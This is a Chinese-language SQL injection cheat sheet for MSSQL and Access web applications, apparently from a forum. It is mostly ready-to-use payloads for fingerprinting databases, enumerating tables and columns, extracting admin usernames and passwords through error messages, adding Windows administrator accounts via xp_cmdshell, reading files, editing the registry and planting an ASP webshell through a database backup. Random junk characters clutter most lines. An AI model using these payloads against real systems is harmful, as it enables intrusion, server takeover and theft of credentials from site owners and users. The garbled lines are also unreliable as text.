1.判断是否有注入
6 k# G F- J3 n8 J0 r. \;and 1=1 % U- O- S, d9 @; g
;and 1=2 , W: Q# M; B% f8 u
* |: w9 T6 u9 E* a& T: k
2.初步判断是否是mssql
, k. k* v- _& M$ |9 J ?, a;and user>0 ; V" Z$ r( o: v! h
: _2 u9 Q4 v0 J, A( a) {3.判断数据库系统 * E. b/ y+ s9 C! m( q Y4 T5 [( J& _
;and (select count(*) from sysobjects)>0 mssql
9 y# r- i$ M8 M$ T+ H;and (select count(*) from msysobjects)>0 access
' K; N+ F( N. g u3 c
) G- V3 w5 `6 v: d) h* O7 W4.注入参数是字符 1 c) ]& e/ G0 C W( Z$ m6 k" c- |
'and [查询条件] and ''='
3 K% Z2 d* N/ v
1 |$ Z# c$ Y" P6 W5.搜索时没过滤参数的
2 q+ K) k6 ]3 i- o: u0 X'and [查询条件] and '%25'='
* X8 ?. c% c5 R; T, Y( ~! C/ G
1 I4 l# H6 e+ G: z% |+ p; B1 d! S6.猜数表名
$ _+ a, Y# t/ N6 n2 T, c( Q) c- L; y;and (select Count(*) from [表名])>0 * ]' C, f& l# P: H+ r! D
% S2 {3 J* v) p7.猜字段 . F5 E6 l6 J: J7 `- A
;and (select Count(字段名) from 表名)>0
M( n; f+ ~; I: J/ ^
+ m) {! c0 |9 S) t s# [& ]$ k2 b8.猜字段中记录长度
! D( D/ r' C5 M; I( _;and (select top 1 len(字段名) from 表名)>0
! R2 d# q, f+ ]9 C* A: v/ \# }. z1 o: j
9.(1)猜字段的ascii值(access) ! e% ?+ j; c2 A# U7 D
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 & K, _/ z- X$ ?. Y
e; c1 U5 t0 O; Q) p. k8 D- y& z( c% |(2)猜字段的ascii值(mssql) ' v; Z" ]6 C8 G
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
4 P( K3 i9 A7 |/ j% C9 v* Y4 {5 N8 Z% s4 T5 o
10.测试权限结构(mssql) ! E/ y6 n3 M, r$ H# V# I
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
{; Z" W/ X9 Q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 D9 A5 x) N2 Z" ^+ \1 j" ?
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
$ _4 N9 Z1 z% ?+ n- _7 f! @;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 q1 g, C1 {: Y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
8 l0 ]) }: \0 f3 c1 o. X;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
4 G& r% i/ `+ G D;and 1=(select IS_MEMBER('db_owner'));--
& |1 N/ i. ?2 f8 t8 c1 ]
6 T- Q% N. y& ^' I! v o11.添加mssql和系统的帐户
! {3 w3 C" ^/ ^" b6 L P;exec master.dbo.sp_addlogin username;--
4 [- O' R _. N8 y% f: S( C;exec master.dbo.sp_password null,username,password;--
$ w% b o: \7 O;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. i( b4 T) P) L, y" ~* e! X;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- * l' {" i( v& v$ V. U$ W
;exec master.dbo.xp_cmdshell 'net user username password /add';--
- d! N3 i: I5 x! k3 k/ ?;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0 G6 W) h' C0 x
" m/ S) o) d: T. Z12.(1)遍历目录
5 K% h1 Q; q2 b! m0 H;create table dirs(paths varchar(100), id int) ( X5 V" G5 G/ R$ \ S& i# @8 j
;insert dirs exec master.dbo.xp_dirtree 'c:\'
0 H+ ~% j$ R" K G;and (select top 1 paths from dirs)>0
* e% E' k% e% U, g1 p3 ^; g;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / r/ ~- b0 k2 t {. H# T! _
) b0 i, n; {" b: w% u p2 g$ L
(2)遍历目录 : Y" g" |9 D6 G4 u3 P& e& W
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $ A' o' T7 h( C _: t2 R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
% ^9 Q2 p$ b% d6 r8 `3 A, B;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
* s7 E, p+ F! L/ @! F+ C. {9 U7 L2 p+ u;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 + t) E. a1 ^7 U* B k6 M" A5 o5 l
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1 G' A# Z, A# F. }" ?# f: S
/ p, Q& r$ H/ K
13.mssql中的存储过程 1 K: w1 J" E# o! H
xp_regenumvalues 注册表根键, 子键
! s1 Z+ h. z; ]- G6 U;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 + Y+ ~, S+ f& d) t/ e5 i# d
xp_regread 根键,子键,键值名
3 [) `9 i) S1 C+ h# d, g5 n0 P;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
* W- Y' n; w4 W9 K( r1 O. n4 Txp_regwrite 根键,子键, 值名, 值类型, 值 ( f! s& @* S' ?& n2 p( y: Y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 X. T9 B& ?/ g0 C: r0 P
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
- ?8 a' `' c. u5 ~- v3 }8 n" d9 O/ Pxp_regdeletevalue 根键,子键,值名
( ]! _7 n! [% {! ]exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 , J3 s6 M, u3 H
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
2 p8 W8 p, q. P1 x
" f4 \9 G9 r3 h6 R. U: V7 N6 h4 i g14.mssql的backup创建webshell
" ~1 N: ^- o E' _( n6 cuse model 8 x) f5 K+ z/ V" v. o0 f; ~' Q) C5 F
create table cmd(str image); 1 X% k* z$ k8 S
insert into cmd(str) values ('<% Dim oScript %>');
1 K' {( Q c) L. nbackup database model to disk='c:\l.asp';
' M' L6 t& ]1 u4 l% F, e* [
! D$ w: G! I" i/ ]1 ]6 q. P5 ?* @15.mssql内置函数 % x! j) \% Q; Q" U& d" q+ C
;and (select @@version)>0 获得Windows的版本号 j5 L) _) `" O: w0 V& i
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
4 R& C" v4 X1 _4 q& x7 E& O;and (select user_name())>0 爆当前系统的连接用户 ) m) @9 j2 X; S
;and (select db_name())>0 得到当前连接的数据库
2 ^8 T1 H4 s9 i0 |4 {, F
/ l6 Q& [6 S* w
, i% O9 K& v7 s+ J9 }8 a2 {6 w( Z4 ]) z; h8 f x% q7 D
MSSQL手注暴库+ y) T0 D/ ?" S4 J
0 z) j/ s$ i& @+ R
1.暴出当前表名和列名
1 j K% S8 }- q在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
* ? c2 W0 l" B. g, d4 w" i3 x' k" i0 n0 N
第一.爆出所有数据库名
2 b* e4 X- J* S8 ~利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。! R% d1 d6 p L5 y- c6 Y
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。6 w' K2 @% }, ^* y5 _/ M7 R
- w1 M$ \: C. i6 e5 ^
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名/ t5 }+ l+ F8 _$ h1 N8 H
8 a9 T* L7 h3 G& J5 k5 Z
& p( N$ W' X9 {第二.爆出指定库中的所有表名
) D- p9 w9 j; m得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。# I" b3 y- f/ |- o
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
) l; C. f8 W8 K0 D/ H! y, W) [+ ]8 ]% {) q! j# C( u
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
! O# Y6 l4 u/ _9 {' Land 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--& F. f$ F; x; \; V9 G5 k
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))-- {0 `' q& C7 h5 D
: R# j, u: F$ f- }( c: ?$ M) H4.爆出指定表中的所有列名
6 L8 j0 O& J+ ?& i( iand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
1 {( N. J8 X; c% G( z5 Y O//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
& f/ M/ P2 {/ ~( _& r( ?- `. h
& d# _9 F3 T5 `# cand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名 M" Y5 T# ~' |* W/ _; @+ G- X
" V* h. n& i3 G2 _" ~$ [" |
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
) S) s. g6 e! } a依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
7 ?4 n, x' y p3 h# T! b2 G+ T5 T* }' D2 i1 Z! R
+ t, R6 {1 ~9 b0 [) R% ?1 P/ d$ o
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值% Y( Y9 M2 V) f( ^/ r0 `
% g) a# x% ?8 k# K! u+ ^
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
; h; {0 ~7 q& }9 H+ u7 r" N) ]- A7 d |+ \5 @ V5 _% P
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
* N$ H+ _+ _$ U5 z* V& I& a( z) T8 l' {% N) E2 W! Y9 _! @2 Y, m
+ T9 y/ V2 q' c$ V" Q0 [. J X2 F
* v: g& w, x0 W6 D4 e& Q5.读取指定表中的数据; r$ \/ P0 q/ x$ Q
: p. _4 f: J9 ]/ J5 M1 q8 Eand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 + p* |) w1 L. o% s$ K2 T
* N- P0 b q8 B5 \
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--3 r" E8 K+ }( l* }3 `& Z
/ x& U, s" B( @! Y, k
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码( Z4 I, `4 `' r' Q; M% B! |
7 W& {! i2 b& w6 Q3 w
! @6 w9 x0 o; `3 f9 O- oand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
/ c, W, y9 ]# }7 N& K9 J& t7 e& K/ j. J7 m
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)' n' b7 d( y9 a& n8 u
4 J" p% \' S& dand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
% T$ [5 I$ L# Y1 E8 ~" { l J W7 P, a
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。, M7 Y) }6 V# T; v$ D3 `
|